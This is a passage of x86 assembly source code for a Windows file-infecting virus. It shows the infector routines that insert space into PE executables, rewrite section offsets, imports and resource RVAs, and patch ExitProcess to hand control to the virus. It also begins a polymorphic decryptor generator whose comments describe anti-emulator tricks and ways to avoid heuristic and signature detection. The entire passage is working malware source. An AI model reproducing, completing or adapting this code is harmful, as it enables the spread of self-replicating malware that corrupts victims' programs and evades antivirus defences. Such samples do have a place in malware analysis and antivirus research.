                cmp     [ebx], edi
                jb    @@NextDir_01
                add     [ebx], ecx
       @@NextDir_01:
                add     ebx, 8
                inc     eax
                dec     edx
                or      edx, edx
                jnz   @@LoopDir_01

      ;; Now we update the physical & virtual offsets of the sections

                mov     edx, [ebp+StartOfSectionHeaders]
                mov     ebx, [esi+14h]
                mov     eax, [ebp+MakingFirstHole]
                or      eax, eax
                jz    @@MakingDataHole_2
      @@MakingCodeHole_2:
                add     ebx, [esi+10h]  ; EBX = Physical offset of the hole
      @@MakingDataHole_2:
                mov     eax, [ebp+HeaderAddress]
                mov     eax, [eax+6]
                and     eax, 0FFFFh     ; Get the number of sections

                push    esi
                mov     esi, [ebp+MakingFirstHole]
      @@LoopUpdate_02:
                push    eax
                mov     eax, [edx+14h]  ; Check the section addresses. As we
                cmp     eax, ebx        ; did before, if we are making the
                jb    @@NextSection_00  ; hole at code we check the physical
                or      esi, esi        ; and virtual addresses and we update
                jnz   @@NextSection_00_ ; them if they are below. If we are
                cmp     eax, ebx        ; making the data hole (at the
                jz    @@NextSection_00  ; beginning of the data section) we
      @@NextSection_00_:                ; check if the address is below or
                add     eax, ecx        ; equal.
                mov     [edx+14h], eax
      @@NextSection_00:
                mov     eax, [edx+0Ch]
                cmp     eax, edi
                jb    @@NextSection_01
                or      esi, esi
                jnz   @@NextSection_01_
                cmp     eax, edi
                jz    @@NextSection_01
      @@NextSection_01_:
                add     eax, ecx
                mov     [edx+0Ch], eax
      @@NextSection_01:
                pop     eax             ; Next section.
                add     edx, 28h
                dec     eax
                or      eax, eax
                jnz   @@LoopUpdate_02
                pop     esi


     ;; Now we make the hole physically
                add     [esi+08h], ecx
                add     [esi+10h], ecx

                cmp     esi, [ebp+RelocHeader]
                jz    @@End

                push    ecx
                push    ebx          ; PUSH Physical_Address_Of_Hole
                mov     edx, [ebp+MappingAddress]
                add     edx, [ebp+FileSize]
                sub     edx, 4
                mov     edi, edx
                add     edi, ecx
                pop     ecx
                add     ecx, [ebp+MappingAddress]

      @@Again:  mov     eax, [edx]   ; Shift down all data
                mov     [edi], eax
                sub     edx, 4
                sub     edi, 4
                cmp     edx, ecx
                jae   @@Again

;;; Here we fill the hole with 0s

                pop     ecx
                and     ecx, 0FFFFFFFCh
                shr     ecx, 2
                add     edx, 4
                xor     eax, eax
      @@Again2: mov     [edx], eax
                add     edx, 4
                dec     ecx
                or      ecx, ecx
                jnz   @@Again2

     @@End:     pop     eax
                pop     edi
                mov     ecx, 0 ; Break the 3-POP sequence to avoid a
                pop     ecx     ; mis-identification with APICALL_END if the
                ret             ; registers are translated as EDX,ECX,EAX in
                                ; any generation.
UpdateHeaders   endp

;; This function gets the array of RVAs in EAX and updates them as always.
UpdateArrayOfRVAs proc
                or      eax, eax       ; If the array RVA is 0, then exit
                jz    @@UpdateArray_OK
                or      edx, edx       ; If the number of elements in the array
                jz    @@UpdateArray_OK ; is 0, then exit
                push    ebx
                mov     ebx, eax       ; Get the physical address
                call    TranslateVirtualToPhysical
                mov     eax, ebx
                pop     ebx
                or      eax, eax       ; If error, exit
                jz    @@UpdateArray_Updated01
        @@UpdateArrayLoop_01:
                cmp     [eax], edi          ; Now check every RVA and fix it
                jb    @@UpdateArray_Updated01 ; if it points after the hole
                add     [eax], ecx
        @@UpdateArray_Updated01:
                add     eax, 4
                dec     edx
                or      edx, edx
                jnz   @@UpdateArrayLoop_01
        @@UpdateArray_OK:
                ret
UpdateArrayOfRVAs endp


;; This function gets the RVA at EBX and looks the section where the RVA
;; points whithin. When we find it, then we add the physical address of the
;; section and the physical address of the mapping, returning the physical
;; address that corresponds to that virtual one.
;; 
;; EBX = Virtual address
TranslateVirtualToPhysical proc
                push    ecx
                or      ebx, ebx
                jz    @@Error
                mov     ecx, [ebp+HeaderAddress]
                mov     ecx, [ecx+6]
                and     ecx, 0FFFFh    ; Get the number of sections
                push    edx
                mov     edx, [ebp+StartOfSectionHeaders]
                push    eax
     @@LoopSection:
                mov     eax, [edx+0Ch] ; Virtual address of section
                cmp     ebx, eax       ; If it's below, it isn't here
                jb    @@NextSection
                add     eax, [edx+10h] ; Add the size of the section to the
                                       ; virtual address of it to get the end
                                       ; address of the section
                cmp     ebx, eax       ; If <EBX> is above, it isn't here
                jae   @@NextSection
                sub     ebx, [edx+0Ch] ; Get the offset inside the section
                add     ebx, [edx+14h] ; Add that offset to the physical addr.
                pop     eax            ; of the section.
                pop     edx
                add     ebx, [ebp+MappingAddress] ; Add the mapping address.
                pop     ecx
                ret                               ; Return with OK
     @@NextSection:
                add     edx, 28h      ; Check next section
                dec     ecx
                or      ecx, ecx
                jnz   @@LoopSection
                pop     eax
                pop     edx
     @@Error:   xor     ebx, ebx      ; If the RVA isn't inside any section,
                pop     ecx           ; return 0.
                ret
TranslateVirtualToPhysical endp

;; This function updates the RVAs of the resource tree.
UpdateResourceDir proc
   @@UpdateResourceDir2:
                push    eax
                mov     eax, [eax+4]     ; If 0, update the data (terminal
                and     eax, 80000000h   ;  node)
                or      eax, eax
                jz    @@UpdateData
                pop     eax
                push    eax
                mov     eax, [eax+4]     ; Get the branch address
                and     eax, 7FFFFFFFh
                add     eax, ebx
                push    edx
                push    eax
                mov     edx, [eax+0Ch]   ; Get the number of branches that
                and     edx, 0FFFFh      ; hold from this parent
                mov     eax, [eax+0Eh]
                and     eax, 0FFFFh
                add     edx, eax
                pop     eax
                add     eax, 10h         ; Update the branch recursively
                call  @@UpdateResourceDir2
                pop     edx
                jmp   @@NextDir          ; Check next branch
     @@UpdateData:
                pop     eax              ; Get the data address
                push    eax
                mov     eax, [eax+4]
                add     eax, ebx
                mov     eax, [eax]  ; Get the RVA to the element in EAX
                cmp     eax, edi    ; If it's above the hole address, fix it
                jb    @@UpdateOK
                pop     eax
                push    eax
                mov     eax, [eax+4]  ; Get the RVA to the element
                add     eax, ebx      ; Add it to the undo buffer
                push    ebx
                mov     ebx, eax
                call    AddUndoAction
                pop     ebx
                add     [eax], ecx    ; Fix the RVA
    @@UpdateOK:
     @@NextDir: pop     eax
                add     eax, 8        ; Get the next directory
                dec     edx           ; If there aren't more elements, return
                or      edx, edx      ; (recursive call, so go to next branch
                jnz   @@UpdateResourceDir2  ; or return completely)
                ret
UpdateResourceDir endp

;; This function adds an "undo" action to the undo buffer. If there is an
;; error in the process of updating the headers, when closing the file we
;; get this data and restore the old values.
AddUndoAction   proc
                push    edx
                mov     edx, [ebp+MakingFirstHole] ; Only make undo actions
                or      edx, edx            ; when making the first hole. If
                jz    @@Return              ; we make a second, we can't fail
                                            ; of doing it, since all checks
                                            ; where passed on the making of
                                            ; the first one.
                push    eax
                mov     edx, [ebp+NumberOfUndoActions] ; Get the counter
                add     edx, [ebp+OtherBuffers] ; Get the last element address
                mov     [edx], ebx              ; + 1 and store the offset of
                mov     eax, [ebx]              ; the value to undo and the
                mov     [edx+4], eax            ; data that address holds.
                add     edx, 8
                sub     edx, [ebp+OtherBuffers] ; Increase the number of undo
                mov     [ebp+NumberOfUndoActions], edx ; actions and exit.
                pop     eax
   @@Return:    pop     edx
                ret
AddUndoAction   endp

;; This function gets the undo buffer and restores the data we saved. We must
;; do this because there isn't a way of telling the Kernel32 to discard the
;; changes made to the mapping, so we have to make it manually. 
UndoChanges     proc
                mov     edx, [ebp+NumberOfUndoActions] ; Get the counter of
                or      edx, edx                   ; undo actions. If 0, exit.
                jz    @@Ret
                mov     ecx, edx
                sub     edx, 8
                add     edx, [ebp+OtherBuffers]
        @@Loop01:
                mov     ebx, [edx]   ; Get the address of the DWORD to restore
                mov     eax, [edx+4] ; Get the value to put for restoration
                mov     [ebx], eax   ; Restore it
                sub     edx, 8
                sub     ecx, 8       ; Next element
                or      ecx, ecx     ; If we haven't restored all, loop
                jnz   @@Loop01
        @@Ret:  ret
UndoChanges     endp

;; This function updates the import table, and returns the addresses of the
;; APIs the virus needs on execution.
;; Entries:
;; EDI = Virtual address of hole
;; ECX = Size of hole
;; If we use EDI = 0FFFFFFFFh as the address of the hole, nothing is updated
;; (it's logical, since all the RVAs are below this value), but the virtual
;; function addresses that we must use from the import table are retrieved.
;;
;; As an error control, we use the addresses of the functions that we expect
;; to be retrieved here. If any of these functions (ExitProcess, GetProcAddress
;; and GetModuleHandleA/W) are 0, then an error happened or any of them isn't
;; imported.
UpdateImports   proc
                push    esi
                mov     eax, [ebp+HeaderAddress] ; Get the import header addr.
                mov     ebx, [eax+80h]
                or      ebx, ebx
                jz    @@ImportsUpdated
                call    TranslateVirtualToPhysical ; Get the physical address.
                or      ebx, ebx                   ; If error, exit
                jz    @@ImportsUpdated
        @@UpdateImports_Loop00:
                mov     eax, [ebx+0Ch]  ; Get the RVA of the module name.
                or      eax, eax        ; If no name, error!
                jz    @@ImportsUpdated
                cmp     eax, edi           ; Fix it
                jb    @@UpdateImportsOK_01
                add     ebx, 0Ch
                call    AddUndoAction
                add     [ebx], ecx      ; [EBX+0Ch]
                sub     ebx, 0Ch


        @@UpdateImportsOK_01:
                push    ebx             ; Initialize this flag
                xor     ebx, ebx
                mov     [ebp+Kernel32Imports], ebx
                mov     ebx, eax
                call    TranslateVirtualToPhysical ; Get the physical address
                or      ebx, ebx                   ; of the module name
                jz    @@UpdateImports_Next00
                mov     eax, [ebx]                 ; Check if it's KERNEL32
                and     eax, 1F1F1F1Fh
                cmp     eax, 'nrek' AND 1F1F1F1Fh
                jnz   @@UpdateImports_Next00
                mov     eax, [ebx+4]
                and     eax, 0FFFF1F1Fh
                cmp     eax, '23le' AND 0FFFF1F1Fh
                jnz   @@UpdateImports_Next00
                mov     eax, 1                     ; If it is, set the flag
                mov     [ebp+Kernel32Imports], eax
        @@UpdateImports_Next00:
                pop     ebx


                mov     eax, [ebx]        ; Get the RVA to the function names
                or      eax, eax
                jz    @@UpdateImportsOK_04

                push    ebx               ; Get the physical address of the
                mov     ebx, eax          ; array
                call    TranslateVirtualToPhysical
                mov     eax, ebx
                pop     ebx
                or      eax, eax
                jz    @@UpdateImportsOK_04
        @@UpdateImports_Loop01:
                mov     edx, [eax]        ; Get an RVA from the array
                or      edx, edx
                jz    @@UpdateImportsOK_02
                cmp     edx, 80000000h             ; Ordinal?
                jae   @@UpdateImports_UpdatedOK    ; Then, don't update

                mov     esi, [ebp+Kernel32Imports] ; KERNEL32 module?
                or      esi, esi                   ; If not, don't check the
                jz    @@UpdateImports_NotKernel32  ; name
                push    ebx
                mov     ebx, edx
                call    TranslateVirtualToPhysical ; Get the physical address
                or      ebx, ebx                   ; of the function name
                jz    @@UpdateImports_UnknownFunction
                mov     esi, [ebx+2]
                cmp     esi, 'tixE'                ; Check for ExitProcess
                jz    @@UpdateImports_ExitProcess00
                cmp     esi, 'MteG'                ; Check for GetModuleHandle
                jz    @@UpdateImports_GetModuleHandle00
                cmp     esi, 'PteG'                ; Check for GetProcAddress
                jz    @@UpdateImports_GetProcAddress00
                cmp     esi, 'triV'                ; Check for VirtualAlloc
                jnz   @@UpdateImports_UnknownFunction
        @@UpdateImports_VirtualAlloc:
                mov     esi, [ebx+0Bh]
                cmp     esi, 'loc'
                jnz   @@UpdateImports_UnknownFunction
                xor     esi, esi                   ; VirtualAlloc ID
                jmp   @@UpdateImports_SaveFunctionAddress
        @@UpdateImports_GetProcAddress00:
                mov     esi, [ebx+6]
                cmp     esi, 'Acor'
                jnz   @@UpdateImports_UnknownFunction
                mov     esi, 1                     ; GetProcAddress ID
                jmp   @@UpdateImports_SaveFunctionAddress
        @@UpdateImports_ExitProcess00:
                mov     esi, [ebx+6]
                cmp     esi, 'corP'
                jnz   @@UpdateImports_UnknownFunction
                mov     esi, 2                     ; ExitProcess ID
                jmp   @@UpdateImports_SaveFunctionAddress
        @@UpdateImports_GetModuleHandle00:
                mov     esi, [ebx+0Ah]
                cmp     esi, 'naHe'
                jnz   @@UpdateImports_UnknownFunction
                mov     esi, [ebx+0Eh]
                cmp     esi, 'Aeld'               ; Check for GetModuleHandleA
                jz    @@UpdateImports_GetModuleHandleAFound
                cmp     esi, 'Weld'               ; Check for GetModuleHandleW
                jnz   @@UpdateImports_UnknownFunction
                mov     esi, 1
                jmp   @@UpdateImports_GetModuleHandleFound
        @@UpdateImports_GetModuleHandleAFound:
                xor     esi, esi
        @@UpdateImports_GetModuleHandleFound:
                mov     [ebp+GetModuleHandleMode], esi ; Set the mode: A or W
                mov     esi, 3                    ; GetModuleHandle ID
        @@UpdateImports_SaveFunctionAddress:
                pop     ebx
                ; EBX = Imports header
                ; EAX = Physical address of position in names array
                push    ebx
                push    eax
                push    ebx
                mov     ebx, [ebx]              ; Fix the RVA into the array
                call    TranslateVirtualToPhysical
                sub     eax, ebx  ; Position in array
                pop     ebx
                add     eax, [ebx+10h]
                cmp     eax, edi         ; If EDI == -1, this is not fixed
                jb    @@UpdateImports_SetFunctionAddress
                add     eax, ecx
        @@UpdateImports_SetFunctionAddress:
                or      esi, esi                    ; Set the function address
                jz    @@UpdateImports_SetVirtualAlloc
                cmp     esi, 1
                jz    @@UpdateImports_SetGetProcAddress
                cmp     esi, 2
                jz    @@UpdateImports_SetExitProcess
        @@UpdateImports_SetGetModuleHandle:
                mov     [ebp+GetModuleHandleAddress], eax
                jmp   @@UpdateImports_FunctionSet
        @@UpdateImports_SetVirtualAlloc:
                mov     [ebp+VirtualAllocAddress], eax
                jmp   @@UpdateImports_FunctionSet
        @@UpdateImports_SetGetProcAddress:
                mov     [ebp+GetProcAddressAddress], eax
                jmp   @@UpdateImports_FunctionSet
        @@UpdateImports_SetExitProcess:
                mov     [ebp+ExitProcessAddress], eax
        @@UpdateImports_FunctionSet:
                pop     eax
        @@UpdateImports_UnknownFunction:
        @@UpdateImports_Continue00:
                pop     ebx
        @@UpdateImports_NotKernel32:
                cmp     edx, edi
                jb    @@UpdateImports_UpdatedOK
                push    ebx
                mov     ebx, eax
                call    AddUndoAction         ; Add the undo action for this
                pop     ebx                   ; address
                add     [eax], ecx
        @@UpdateImports_UpdatedOK:
                add     eax, 4                ; Next array entry
                jmp   @@UpdateImports_Loop01

        @@UpdateImportsOK_02:
                mov     eax, [ebx]            ; Fix the array RVA itself
                cmp     eax, edi
                jb    @@UpdateImportsOK_03
                call    AddUndoAction
                add     [ebx], ecx
        @@UpdateImportsOK_03:
                add     ebx, 10h      ; Fix the RVA to the array of imported
                mov     eax, [ebx]    ; functions. It holds the imported
                cmp     eax, edi      ; addresses of the functions in run-time
                jb    @@UpdateImportsOK_04_  ; (but see below for a "cool"
                                             ; feature)
                call    AddUndoAction   ; Add the undo action for this.
                add     eax, ecx
                mov     [ebx], eax
                sub     eax, ecx
        @@UpdateImportsOK_04_:
                sub     ebx, 10h
        @@UpdateImportsOK_04:

;; Big-time duddy-dudde chili-chap Micro$oft paranoical "optimization"
;; What are that thunks at +10h in import header? Just guess!!
;; I was amazed why the infected programs worked under WinNT but NOT under
;;  win9x (just the opposite of what it happens normally). So, I supposed that
;;  the values at this thunk were always updated with the kernel exported
;;  addresses, so, just in case, it didn't matter if I updated also these
;;  addresses. FALSE!! (now imagine lots of red lights and alarms). By any
;;  dark reason, the win32 subsystem doesn't update that addresses if the
;;  executable runs under the operating system where it was compiled or
;;  was compiled for!! Windows NT updates this addresses ALWAYS, but not
;;  Win9x, which uses the hardcoded API addresses that are already at the
;;  executable (!!!!!!!!!!!!!!). So, if we don't touch this, all is fine.
;;
;; Idea: we can make EPO if we save this values and set our own ones. It will
;;  only work under Win9x, something that it's fine if we are making a ring-0
;;  virus.

;                 push    ebx
;                 mov     ebx, eax
;                 call    TranslateVirtualToPhysical
;                 or      ebx, ebx
;                 jz    @@NextRecord
;         @@LoopUpdateThunks:
;                 mov     eax, [ebx]
;                 or      eax, eax
;                 jz    @@NextRecord
;                 cmp     eax, edi
;                 jb    @@ThunkUpdated
;                 call    AddUndoAction
;                 add     eax, ecx
;                 mov     [ebx], eax
;         @@ThunkUpdated:
;                 add     ebx, 4
;                 jmp   @@LoopUpdateThunks
;         @@NextRecord:
;                 pop     ebx


                add     ebx, 14h    ; Get next import header
                jmp   @@UpdateImports_Loop00

        @@ImportsUpdated:
                pop     esi
                ret
UpdateImports   endp

;; Let's patch ExitProcess with several methods. The size of the patch must
;; be less than 6 bytes.
;; An alternate way has been added, which only works for Win9x: the Import
;; table is patched but not the call, so under Win9x, if the system coincides
;; with the version expressed in the header, the call will be made. This makes
;; a virus that is dormant under WinNT but spreads on Win9x.
;; ESI = Address to patch
;; EDX = Address to point to
PatchExitProcess proc
                push    eax
                mov     eax, 1
                call    RandomBoolean_X004_7   ; WEIGHT_X005
                or      eax, eax
                jz    @@PUSHRET
     @@IndirectDisplacement:         ; Let's make "JMP/PUSH [Address]"
                push    ecx
                mov     eax, [ebp+TextHeader]  ; Get the code section address
                mov     ecx, [eax+10h]         ; Get the size in ECX
                mov     eax, [eax+14h]
                add     eax, [ebp+MappingAddress]
                push    edx
                sub     ecx, 4
       @@LoopFindHole:
                sub     ecx, 1
                or      ecx, ecx
                jz    @@NotFound         ; Search for a hole of the type
                mov     edx, [eax]       ; "INT 3 padded" of at least DWORD
                cmp     edx, 0CCCCCCCCh  ; sized
                jz    @@HoleFound
                add     eax, 1
                jmp   @@LoopFindHole
     @@NotFound:
                pop     edx             ; If we didn't find anything, make the
                pop     ecx             ; other method
                jmp   @@PUSHRET
     @@HoleFound:
                pop     edx           ; Put the address to jump at the hole,
                mov     [eax], edx    ; overwriting the padding.
                mov     ecx, [esi+4]
                and     ecx, 0FFh     ; Now look the way ExitProcess is made.
                cmp     ecx, 0C3h     ; Is there a RET after it? (the compilers
                                      ; put them)
                jz    @@RetInserted   ; If it is, put "PUSH DWORD PTR [ExitP]"
                sub     eax, [ebp+MappingAddress]
                mov     ecx, [ebp+TextHeader]
                sub     eax, [ecx+14h]       ; Get the address of the hole
                add     eax, [ecx+0Ch]
                mov     ecx, [ebp+HeaderAddress]
                add     eax, [ecx+34h]

                mov     [esi], eax           ; Overwrite the call with the
                mov     eax, 25h             ; hole address, and set "JMP"
                mov     [esi-1], al          ; instruction.
                pop     ecx
                jmp   @@Return
     @@RetInserted:
                mov     eax, 35h        ; Set "PUSH DWORD PTR [ExitProcess]"
                mov     [esi-1], al     ; and use the RET before to jump.
                pop     ecx
                jmp   @@Return
     @@PUSHRET:                       ; Make "PUSH Address/RET"
                mov     eax, 68h
                mov     [esi-2], eax
                mov     [esi-1], edx
                mov     eax, 0C3h
                mov     [esi+3], al

     @@Return:  pop     eax
                ret
PatchExitProcess endp
;;
;;
;; End of the infector
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;; KEYWORD: Key_!MakePoly
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; ********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The polymorphic engine
;; ----------------------
;;
;; This is not a polymorphic engine like I made in other viruses, since I
;; don't code by myself any machine code: I let the metamorphic engine to
;; do it, calling XpandCode and AssembleCode to build the instructions. So,
;; the decryptor is always constructed in my pseudoassembler.
;;
;; The decryptor is sometimes only a "mover": since the virus can be not
;; encrypted once in every 16 times, in fact only copies the data to the
;; reserved memory. This avoids lots of heuristic alarms.
;;
;; "Branching", as I did in TUAREG, is not made, but PRIDE is. The decryption
;; will be non-linear, with a control of buffer-overflow that allows me to
;; have a not-aligned buffer size, but still making random index accessing.
;;
;; The decryptor will allocate virtual memory at the beginning to copy the
;; virus there, calling to the imported function. If the function is not
;; imported by the host, some code will be added to import it and call it.
;; After that, We'll push the parameters needed for the virus working and we
;; will copy the virus to the allocated memory, decrypting it on the fly and
;; accessing that data with apparentlu random offsets.
;;
;; It has also the chance of making a little anti-emulator trick at the
;; beginning: once in every 4 decryptors, a RDTSC/RET like instruction will
;; be constructed on runtime, called, and a random bit from EAX checked for
;; 0 or 1, ending execution if the condition is met. This makes the virus to
;; execute randomly, and forcing a detection by signature or heuristics.
;;

MakeDecryptor   proc
; We need:
; The instruction table stored at [InstructionTable]
; A buffer to assemble the decryptor at [NewAssembledCode]
; The number of jump labels at [NumberOfLabels]
; A table of labels at [LabelTable], with the instruction address at +4
; The address of the last instruction at [AddressOfLastInstruction]

                mov     [ebp+InstructionTable], edi  ; Set the pointer
                xor     eax, eax
                mov     [ebp+NumberOfLabels], eax    ; Initialize these vars.
                mov     [ebp+NumberOfVariables], eax
                mov     eax, edi
                add     eax, 80000h
                mov     [ebp+ExpansionResult], eax

                mov     eax, [ebp+RVA_DataHole]   ; Get the virtual address
                mov     ecx, [ebp+HeaderAddress]  ; of the data hole.
                add     eax, [ecx+34h]
                mov     [ebp+StartOfEncryptedData], eax

                mov     edx, [ebp+RelocHeader]    ; Check if we have a .reloc
                or      edx, edx                  ; header.
                jnz   @@SetDataAtEndOfCryptedCode

                mov     ecx, [ebp+DataHeader]     ; If we haven't a .reloc,
                mov     edx, [ebp+HeaderAddress]  ; we put the data buffer
                call    Random                    ; address at the .data
                and     eax, 0FCh                 ; section with a random
                add     eax, [ecx+0Ch]            ; displacement start offset
                add     eax, [edx+34h]            ; to avoid fixed addresses.
                jmp   @@SetDecryptorDataSection   ; Since all in the app has
                               ; finished (we arrived here with an ExitProcess
                               ; patch) we can overwrite .data as we want.

      @@SetDataAtEndOfCryptedCode:
                add     eax, [ebp+SizeOfNewCode]  ; Get the size of the new
                and     eax, 0FFFFFFFCh           ; assembled code and set the
                add     eax, 4                    ; decryptor's data frame at
      @@SetDecryptorDataSection:                  ; the end of the encrypted
                mov     [ebp+Decryptor_DATA_SECTION], eax  ; part.

                mov     eax, 1                         ; Set this flag for the
                mov     [ebp+CreatingADecryptor], eax  ; expander.

                call    Poly_MakeRandomExecution  ; Create a random-execution
                                                  ; snippet to fuck emulators
                                                  ; a little ;)

                mov     eax, [ebp+VirtualAllocAddress]
                or      eax, eax           ; Does the app import VirtualAlloc?
                jnz   @@VirtualAllocAlreadyImported ; If it does, jump and
                                                    ; continue

   ;; Here we are going to create a code that imports VirtualAlloc using the
   ;; functions GetModuleHandleA/W and GetProcAddress.
                mov     eax, [ebp+GetModuleHandleMode]
                or      eax, eax                   ; Check if GetModuleHandle
                jnz   @@GetModuleHandleUNICODE     ; is ASCII or UNICODE

     @@GetModuleHandleASCII:
                call    Random
                and     eax, 20202020h           ; Set 'KERN' with random
                add     eax, 'NREK'              ; up/downcase
                mov     [ebp+Poly_FirstPartOfFunction], eax
                call    Random
                and     eax, 00002020h
                add     eax, '23LE'              ; Set 'EL32' with random
                mov     [ebp+Poly_SecondPartOfFunction], eax ; up/downcase
                mov     eax, 2
                call    RandomBoolean_X004_7   ; WEIGHT_X006
                or      eax, eax
                jz    @@DontSetExtension0        ; Select randomly if we put
                call    Random                   ; the extension or not. If
                and     eax, 20202000h           ; we don't, GetModuleHandle
                add     eax, 'LLD.'              ; puts ".DLL" for us
        @@DontSetExtension0:
                mov     [ebp+Poly_ThirdPartOfFunction], eax
                xor     eax, eax
                mov     [ebp+AdditionToBuffer], eax ; Set it at the first part
                                                    ; of the data buffer
                call    Poly_SetFunctionName     ; Make the "make name" code
                jmp   @@NameOfModuleInitialized  ; Jump to call GetMod.H.()

     @@GetModuleHandleUNICODE:                   ; UNICODE
                call    Random
                and     eax, 00200020h           ; Set 'KE' (random upcase)
                add     eax, 0045004Bh ; 'EK'
                mov     [ebp+Poly_FirstPartOfFunction], eax
                call    Random
                and     eax, 00200020h
                add     eax, 004E0052h ; 'NR'    ; Set 'RN'
                mov     [ebp+Poly_SecondPartOfFunction], eax
                call    Random
                and     eax, 00200020h
                add     eax, 004C0045h ; 'LE'    ; Set 'EL'
                mov     [ebp+Poly_ThirdPartOfFunction], eax
                xor     eax, eax
                mov     [ebp+AdditionToBuffer], eax
                call    Poly_SetFunctionName     ; Make the name

                mov     eax, 00320033h ; '23'    ; Set '32'
                mov     [ebp+Poly_FirstPartOfFunction], eax
                mov     eax, 2
                call    RandomBoolean_X004_7     ; WEIGHT_X006
                or      eax, eax
                jz    @@DontSetExtension1        ; Set (or not) the extension
                call    Random                   ; ".DLL"
                and     eax, 00200000h
                add     eax, 0044002Eh ; 'D.'
          @@DontSetExtension1:
                mov     [ebp+Poly_SecondPartOfFunction], eax
                or      eax, eax
                jz    @@DontSetExtension2
                call    Random
                and     eax, 00200020h
                add     eax, 004C004Ch ; 'LL'
          @@DontSetExtension2:
                mov     [ebp+Poly_ThirdPartOfFunction], eax
                mov     eax, 0Ch
                mov     [ebp+AdditionToBuffer], eax
                call    Poly_SetFunctionName    ; Make that part of the name

   @@NameOfModuleInitialized:
                call    Poly_SelectThreeRegisters          ; Make a "Call
                mov     edx, [ebp+Decryptor_DATA_SECTION]  ; GetModuleHandle"
                mov     ecx, [ebp+BufferRegister]
                call    Poly_DoMOVRegValue

                mov     ecx, [ebp+BufferRegister]
                call    Poly_DoPUSHReg                ; Push the module name

                mov     ecx, [ebp+GetModuleHandleAddress]
                call    Poly_DoCALLMem                ; Call the function

                mov     eax, 0F6h    ; Make an APICALL_STORE [Data+10h]
                mov     [edi], eax
                mov     eax, 0808h
                mov     [edi+1], eax
                mov     eax, [ebp+Decryptor_DATA_SECTION]
                add     eax, 10h
                mov     [edi+3], eax
                add     edi, 10h

                mov     eax, 'triV'     ; Now make the name of the function to
                mov     [ebp+Poly_FirstPartOfFunction], eax ; get the address,
                mov     eax, 'Alau'                         ; in this case
                mov     [ebp+Poly_SecondPartOfFunction], eax ; VirtualAlloc()
                mov     eax, 'coll'
                mov     [ebp+Poly_ThirdPartOfFunction], eax
                xor     eax, eax
                mov     [ebp+AdditionToBuffer], eax
                call    Poly_SetFunctionName       ; Set the function name

                call    Poly_SelectThreeRegisters
                mov     edx, [ebp+Decryptor_DATA_SECTION]
                mov     ecx, [ebp+BufferRegister]
                call    Poly_DoMOVRegValue
                mov     ecx, [ebp+BufferRegister]  ; Make the PUSH of the
                call    Poly_DoPUSHReg             ; offset to the name

                call    Poly_SelectThreeRegisters  ; Make the PUSH of the
                mov     ecx, [ebp+IndexRegister]   ; module handle
                mov     ebx, 10h
                call    Poly_DoMOVRegMem
                mov     ecx, [ebp+IndexRegister]
                call    Poly_DoPUSHReg

                mov     ecx, [ebp+GetProcAddressAddress]
                call    Poly_DoCALLMem        ; Call to GetProcAddress()

                mov     eax, 0F6h        ; Insert an APICALL_STORE [Data]
                mov     [edi], eax
                mov     eax, 0808h
                mov     [edi+1], eax
                mov     eax, [ebp+Decryptor_DATA_SECTION]
                add     eax, 10h
                mov     [edi+3], eax
                add     edi, 10h
                                         ; Set the function address. We don't
                mov     [ebp+VirtualAllocAddress], eax ; check if it's OK
                                                       ; because we know it's
                                                       ; OK.
   @@VirtualAllocAlreadyImported:
                mov     eax, 8                    ; Initialize the registers
                mov     [ebp+BufferRegister], eax ; used by the decryptor
                mov     [ebp+CounterRegister], eax
                mov     [ebp+IndexRegister], eax

                mov     edx, 4                ; Push the values for allocating
                call    Poly_DoPUSHValue      ; memory: PAGE_READWRITE and
                mov     edx, 1000h            ; MEM_COMMIT
                call    Poly_DoPUSHValue
                call    Random
                and     eax, 01F000h          ; Allocate 3407872 bytes plus
                mov     edx, 340000h          ; a random up to 128 Kb.
                add     edx, eax
                call    Poly_DoPUSHValue      ; Push the value
                xor     edx, edx              ; Push 0 (reserve where the
                call    Poly_DoPUSHValue      ; system wants)

                mov     ecx, [ebp+VirtualAllocAddress]
                call    Poly_DoCALLMem        ; Call to VirtualAlloc

                mov     eax, 0F6h             ; APICALL_STORE [Data]
                mov     [edi], eax
                mov     eax, 0808h
                mov     [edi+1], eax
                mov     eax, [ebp+Decryptor_DATA_SECTION]
                mov     [edi+3], eax
                add     edi, 10h
                                              ; Get three new registers
                call    Poly_SelectThreeRegisters

                mov     ecx, [ebp+IndexRegister]
                xor     ebx, ebx              ; Get the returned value in a
                call    Poly_DoMOVRegMem      ; register

                mov     ecx, [ebp+IndexRegister]
                call    Poly_MakeCheckWith0   ; Make a check with NULL to know
                                              ;  if the function worked
                mov     eax, 74h              ; JZ -> if VirtualAlloc returned
                mov     [edi], eax            ;  NULL, jump to ExitProcess
                mov     [ebp+Poly_Jump_ErrorInVirtualAlloc], edi ; Save the
                add     edi, 10h               ; offset for later completion

                mov     ecx, [ebp+IndexRegister]
                mov     edx, [ebp+New_CODE_SECTION]
                call    Poly_DoADDRegValue    ; Add the offset of CODE_SECTION

                mov     ecx, [ebp+IndexRegister]
                mov     ebx, 10h              ; Save it at +10h in decryptor's
                call    Poly_DoMOVMemReg      ; data frame

       ; Now we push parameters for the virus. We pass all the new section
       ; addresses, the flag of GetModuleHandle usage (ASCII or UNICODE) and
       ; the Delta Register the virus is using. We also push the addresses of
       ; the functions GetModuleHandle and GetProcAddress, so the virus hasn't
       ; to scan the KERNEL32 to get the values of the functions, breaking
       ; another heuristic alarm. The values of the passed functions have the
       ; upper bits of the sections with a random value, since in the
       ; entrypoint our code will anulate that bits (this is only to make the
       ; passing of values more random).
                call    Random
                and     eax, 0FC000000h
                mov     edx, [ebp+New_DISASM2_SECTION]
                add     edx, eax
                call    Poly_DoPUSHValue   ; Push DISASM2_SECTION address

                call    Random
                and     eax, 0FC000000h
                mov     edx, [ebp+New_DATA_SECTION]
                add     edx, eax
                call    Poly_DoPUSHValue   ; Push the DATA_SECTION address

                call    Random
                and     eax, 0FC000000h
                mov     edx, [ebp+New_BUFFERS_SECTION]
                add     edx, eax
                call    Poly_DoPUSHValue   ; Push the BUFFERS_SECTION address

                call    Random
                and     eax, 0FC000000h
